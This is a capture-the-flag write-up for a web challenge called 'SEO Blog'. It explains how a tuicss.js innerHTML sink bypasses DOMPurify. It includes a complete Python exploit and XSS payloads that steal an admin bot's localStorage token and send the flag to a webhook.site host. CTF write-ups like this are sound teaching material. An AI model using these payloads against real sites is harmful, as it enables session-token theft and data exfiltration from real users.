//SEO Blog
Challenge: SEO Blog
Category: Web
Flag: nullctf{csp_15_u53ful_f0r_h4ck3r5_t00}
>TL;DR
XSS vulnerability in the tuicss.js library's datetimeController() function. The data-format attribute of elements with class tui-datetime is directly set as innerHTML, bypassing DOMPurify sanitization. Exploit by creating a post with a malicious <a> tag, triggering admin bot to visit it, and exfiltrating the flag via OOB webhook.
>Challenge Overview
The challenge presents a blog application built with:
-
Backend: Rust (Rocket framework)
-
Frontend: TUI CSS library with DOMPurify sanitization
-
Admin Bot: Headless Firefox that visits reported posts
Users can:
-
Register and login
-
Create blog posts with title, content, and SEO meta tags
-
Report posts to an admin bot
The flag is stored in an unapproved post visible only to the admin user.
>Source Code Analysis
Key Files Structure
source/
├── app/
│ ├── src/
│ │ ├── routes/
│ │ │ ├── blog/
│ │ │ │ ├── create.rs # Post creation
│ │ │ │ ├── post.rs # Single post view
│ │ │ │ └── posts.rs # Posts listing
│ │ │ └── report.rs # Admin bot trigger
│ │ └── main.rs
│ ├── static/
│ │ ├── tuicss/
│ │ │ └── tuicss.js # VULNERABLE!
│ │ ├── dompurify/
│ │ │ └── purify.min.js
│ │ └── js/
│ │ └── utils.js
│ └── templates/
│ ├── post.html.tera # Single post template
│ └── posts.html.tera # Posts list template
└── bot/
└── bot.py # Admin bot (Firefox)
Vulnerability Discovery
1. Content Sanitization (post.html.tera)
<div data-content="{{ post.content }}" data-id="{{ post.id }}" id="data"></div>
<!-- ... -->
<script>
const data = document.getElementById("data").dataset;
document.getElementById("content").innerHTML = DOMPurify.sanitize(data.content, {
ALLOWED_TAGS: ["b", "i", "a"],
});
</script>
Content is sanitized by DOMPurify with only <b>, <i>, and <a> tags allowed. This seems secure...
2. The Vulnerable Sink (tuicss.js)
function datetimeController() {
const t = document.getElementsByClassName("tui-datetime");
function e() {
for (const e of t) {
if (null === e) continue;
let t = e.getAttribute("data-format");
// ... date replacement logic ...
e.innerHTML = t; // VULNERABLE! Direct innerHTML assignment
}
}
t.length && (e(), setTimeout(() => { setInterval(e, 1e3) }, 1e3 - (new Date).getMilliseconds()));
}
The datetimeController() function:
-
Finds all elements with class
tui-datetime -
Gets their
data-formatattribute -
Directly sets it as
innerHTML- bypassing all sanitization!
3. DOMPurify Allows the Attack Vector
By default, DOMPurify allows:
-
<a>tags (explicitly allowed) -
classattribute (standard HTML) -
data-*attributes (allowed by default)
So we can inject:
<a class="tui-datetime" data-format="<img src=x onerror=alert(1)>">X</a>
DOMPurify keeps this intact, then tuicss.js sets innerHTML to <img src=x onerror=alert(1)> - XSS!
Admin Bot Behavior
# bot.py
driver = webdriver.Firefox(options=options)
# Admin token is set in localStorage
driver.execute_script(f"localStorage.setItem('token', '{token}')")
# Bot visits the post page
driver.get(f"{FRONTEND_URL}/{post_id}")
time.sleep(5) # 5 second wait
The admin bot:
-
Sets its token in
localStorage -
Visits the reported post URL
-
Waits 5 seconds (enough time for XSS to execute)
>Exploitation Strategy
Attack Flow
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Attacker │────▶│ Blog Server │◀────│ Admin Bot │
│ │ │ │ │ (has flag) │
└─────────────────┘ └──────────────────┘ └─────────────────┘
│ │ │
│ 1. Create XSS post │ │
│───────────────────────▶│ │
│ │ │
│ 2. Report post │ │
│───────────────────────▶│ 3. Visit post │
│ │◀───────────────────────│
│ │ │
│ │ 4. XSS executes │
│ │ 5. Fetch / with token │
│ │◀───────────────────────│
│ │ │
│ │ 6. Find flag in HTML │
│ │ 7. Exfil to webhook │
│ │───────────────────────▶│ Webhook
│ │ │
│ 8. Read flag from webhook │
│◀────────────────────────────────────────────────│
The XSS Payload
var t = localStorage.getItem('token') || 'NULL';
// Fetch the main page with admin's token
var x = new XMLHttpRequest();
x.open('GET', '/', false);
if(t != 'NULL') x.setRequestHeader('Authorization', 'Bearer ' + t);
x.send(null);
// Extract flag from response
var page = x.responseText;
var m = page.match(/nullctf\{[^}]+\}/);
var flag = m ? m[0] : 'NO_FLAG';
// Exfiltrate to webhook
new Image().src = 'https://webhook.site/YOUR_ID?flag=' + encodeURIComponent(flag);
Bypassing Potential Issues
-
Date Format Replacement: The
datetimeControllerreplaces characters likeM,d,H, etc. with current date/time values. Solution: prefix payload withMdeyHhmsato absorb these replacements. -
Base64 Encoding: To avoid quote escaping issues, the JS payload is base64 encoded and executed via
eval(atob('...')). -
Synchronous XHR: Use synchronous XHR (
falseflag) to ensure requests complete before bot navigates away.
>Final Exploit Code
exploit_remote.py
#!/usr/bin/env python3
"""
SEO Blog - XSS Flag Exfiltration Exploit
Captures flag via OOB webhook exfiltration
"""
import requests
import sys
import time
import base64
def run_exploit():
if len(sys.argv) < 2:
print("Usage: python3 exploit_remote.py <TARGET_URL> [WEBHOOK_URL]")
sys.exit(1)
BASE_URL = sys.argv[1].rstrip('/')
WEBHOOK_URL = sys.argv[2] if len(sys.argv) > 2 else "https://webhook.site/YOUR_ID"
s = requests.Session()
username = f"attacker_{int(time.time())}"
password = "password"
# 1. Register & Login
print(f"[*] Registering user {username}...")
s.post(f"{BASE_URL}/auth/register", json={"username": username, "password": password})
res = s.post(f"{BASE_URL}/auth/login", json={"username": username, "password": password})
if res.status_code != 200:
print("[-] Login failed")
return
attacker_token = res.json()['token']
print(f"[+] Got Attacker Token: {attacker_token[:50]}...")
# 2. Construct XSS Payload
raw_js = f"""
var t = localStorage.getItem('token') || 'NULL';
var x = new XMLHttpRequest();
x.open('GET', '/', false);
if(t != 'NULL') x.setRequestHeader('Authorization', 'Bearer ' + t);
x.send(null);
var page = x.responseText;
var m = page.match(/nullctf\\{{[^}}]+\\}}/);
var flag = m ? m[0] : 'NO_FLAG';
new Image().src = '{WEBHOOK_URL}?flag=' + encodeURIComponent(flag) + '&token=' + encodeURIComponent(t.substring(0,50));
"""
raw_js_flat = " ".join(raw_js.split())
b64_js = base64.b64encode(raw_js_flat.encode()).decode()
# MdeyHhmsa prefix absorbs date format replacements
payload = f"MdeyHhmsa<img src=x onerror=eval(atob('{b64_js}'))>"
content = f"<a class='tui-datetime' data-format=\"{payload}\">X</a>"
# 3. Create malicious post
print(f"[*] Creating XSS post...")
res = s.post(f"{BASE_URL}/create", json={
"title": "Exploit Post",
"content": content,
"meta": []
}, headers={"Authorization": f"Bearer {attacker_token}"})
if res.status_code != 200:
print(f"[-] Create post failed: {res.text}")
return
post_id = res.json()['post']['id']
print(f"[+] Created Post ID: {post_id}")
# 4. Trigger admin bot
print(f"[*] Triggering Admin Bot visit via /report/{post_id}...")
try:
s.post(f"{BASE_URL}/report/{post_id}",
headers={"Authorization": f"Bearer {attacker_token}"},
timeout=15)
print("[*] Report finished")
except Exception as e:
print(f"[*] Report timed out: {e}")
print(f"\n[*] Check {WEBHOOK_URL} for exfiltrated flag!")
print("[*] Waiting 5s then checking webhook API...")
time.sleep(5)
# 5. Check webhook for flag
webhook_id = WEBHOOK_URL.split('/')[-1]
try:
res = requests.get(f"https://webhook.site/token/{webhook_id}/requests", timeout=10)
data = res.json()
if data.get('data'):
for req in data['data']:
if req.get('query') and 'flag' in req['query']:
print(f"\n[+] FLAG CAPTURED: {req['query']}")
else:
print("[-] No data received at webhook yet")
except Exception as e:
print(f"[-] Webhook check failed: {e}")
if __name__ == "__main__":
run_exploit()
>Step-by-Step Exploitation
1. Setup Webhook
Go to https://webhook.site and get your unique webhook URL.
2. Run the Exploit
python3 exploit_remote.py http://public.ctf.r0devnull.team:3009 https://webhook.site/YOUR_ID
3. Output
[*] Registering user attacker_1764961140...
[+] Got Attacker Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
[*] Creating XSS post...
[+] Created Post ID: 1e951df0-279d-43e8-8669-04f07ac91676
[*] Triggering Admin Bot visit via /report/1e951df0-279d-43e8-8669-04f07ac91676...
[*] Report finished
[*] Check https://webhook.site/... for exfiltrated data
[*] Waiting 5s then checking webhook API...
[+] FLAG CAPTURED: {'flag': 'nullctf{csp_15_u53ful_f0r_h4ck3r5_t00}', 'token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...'}
>Alternative: In-Band Exfiltration
If OOB exfiltration is blocked, you can try creating a post with the flag as the title:
# In-band alternative (less reliable)
raw_js = f"""
var t = localStorage.getItem('token') || 'NULL';
var x = new XMLHttpRequest();
x.open('GET', '/', false);
if(t != 'NULL') x.setRequestHeader('Authorization', 'Bearer ' + t);
x.send(null);
var page = x.responseText;
var m = page.match(/nullctf\\{{[^}}]+\\}}/);
var flag = m ? m[0] : 'NO_FLAG';
var x2 = new XMLHttpRequest();
x2.open('POST', '/create', false);
x2.setRequestHeader('Content-Type', 'application/json');
x2.setRequestHeader('Authorization', 'Bearer {attacker_token}');
x2.send('{{"title":"STOLEN_' + flag + '","content":"EXFIL","meta":[]}}');
"""
Then check the posts listing for a post titled STOLEN_nullctf{...}.
>Key Takeaways
-
DOMPurify ≠ Complete Protection: DOMPurify sanitizes the HTML, but if the application later uses unsafe sinks like
innerHTMLon user-controlled attributes, XSS is still possible. -
Third-party Libraries Can Be Dangerous: The
tuicss.jslibrary introduced the vulnerableinnerHTMLsink that bypassed all sanitization efforts. -
Attribute-based XSS: Even when
<script>tags are blocked,data-*attributes can carry payloads that execute through alternative sinks. -
Admin Bot = XSS Goldmine: Any admin bot that visits user-controlled pages is a prime target for XSS attacks to steal credentials or sensitive data.
>Flag
nullctf{csp_15_u53ful_f0r_h4ck3r5_t00}
The flag hints that CSP (Content Security Policy) could have prevented this attack by blocking inline scripts and external requests. Ironically, the lack of CSP made this exploit possible!
![[Pasted image 20251206030151.png]]